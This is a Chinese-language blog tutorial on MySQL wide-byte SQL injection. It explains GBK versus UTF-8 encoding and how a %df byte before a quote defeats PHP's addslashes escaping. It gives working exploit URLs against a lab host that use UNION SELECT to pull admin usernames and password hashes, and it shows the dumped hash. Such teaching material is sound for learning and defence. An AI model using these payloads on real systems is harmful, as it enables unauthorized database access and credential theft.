SQL

MySQL 宽字节注入

Posted by Cai Qiqi on 2017-06-08

参考:
http://blog.csdn.net/jnbbwyth/article/details/6991425
https://www.leavesongs.com/PENETRATION/mutibyte-sql-inject.html

关于GBK编码和UTF-8编码

这个文件原文只有ASCII字符,当我加上两个汉字之后就不得不变成了UTF-8字符。
这里写图片描述

iconv这个工具(MacOS, ubuntu和kali好像是自带的)可以用来转换编码。
比如,将一个文件从utf-8编码格式转换成gbk编码格式。注意要写明输出的文件名(-o),不然会输出到标准输出。

iconv -f utf-8 -t gbk coding_test.php -o coding_test.php

这里写图片描述
利用xxd这个工具可以发现,在utf-8编码方式下,通过e5928c这个三个字节来表示一个汉字”和”;而在gbk编码方式下,通过bacd这两个字节来表示一个汉字”和”。由于汉字无法通过ASCII编码显示出来,于是xxd右边用...来表示几个字节。

MySQL 宽字节注入

加单引号不报错,说明不存在注入
这里写图片描述
这里写图片描述
在这个sql语句前面,我们使用了一个addslashes函数,将$id的值转义。这是通常cms中对sql注入进行的操作,只要我们的输入参数在单引号中,就逃逸不出单引号的限制,无法注入。

$id = isset($_GET['id']) ? addslashes($_GET['id']) : 1;
$sql = "SELECT * FROM news WHERE tid='{$id}'";

那么怎么逃过addslashes的限制?众所周知addslashes函数产生的效果就是,让'变成\',让引号变得不再是“单引号”,只是一撇而已。一般绕过方式就是,想办法处理\'前面的\

  1. 想办法给\前面再加一个\(或单数个即可),变成\\’,这样\被转义了,于是'逃出了限制。
  2. 想办法把\弄没有

于是构造一个EXP。
http://192.168.10.163/data_and_sql/0x01/index.php?id=-1%a1%27UNION+Select+1,2,concat(name,0x23,pass)+FROM+admin#

这里写图片描述
这样还是不行。注意要把末尾的#urlencode一下。
http://192.168.10.163/data_and_sql/0x01/index.php?id=-1%df%27%20union%20select%201,2,concat(name,0x23,pass)%20from%20admin%23
这里写图片描述

MariaDB [test]> select concat(name,0x23,pass) from admin;
+----------------------------------------+
| concat(name,0x23,pass) |
+----------------------------------------+
| admin#21232f297a57a5a743894a0e4a801fc3 |
+----------------------------------------+
1 row in set (0.00 sec)

其中0x23代表#concat(param1,param2,param3)表示将这三个参数连接起来。

关于

mysql_set_charset("utf8",$link);
mysql_query("SET NAMES 'UTF8'");

这两行的区别。
mysql_set_charset("utf8",$link);其实做了mysql_query("SET NAMES 'UTF8'");它做的事。而且后者并不被PHP官方建议。PHP官方建议使用前者,也就是mysql_set_charset("utf8",$link);
PHP PDO: charset, set names?
“set names” vs mysqli_set_charset — besides affecting mysqli_escape_string, are they identical?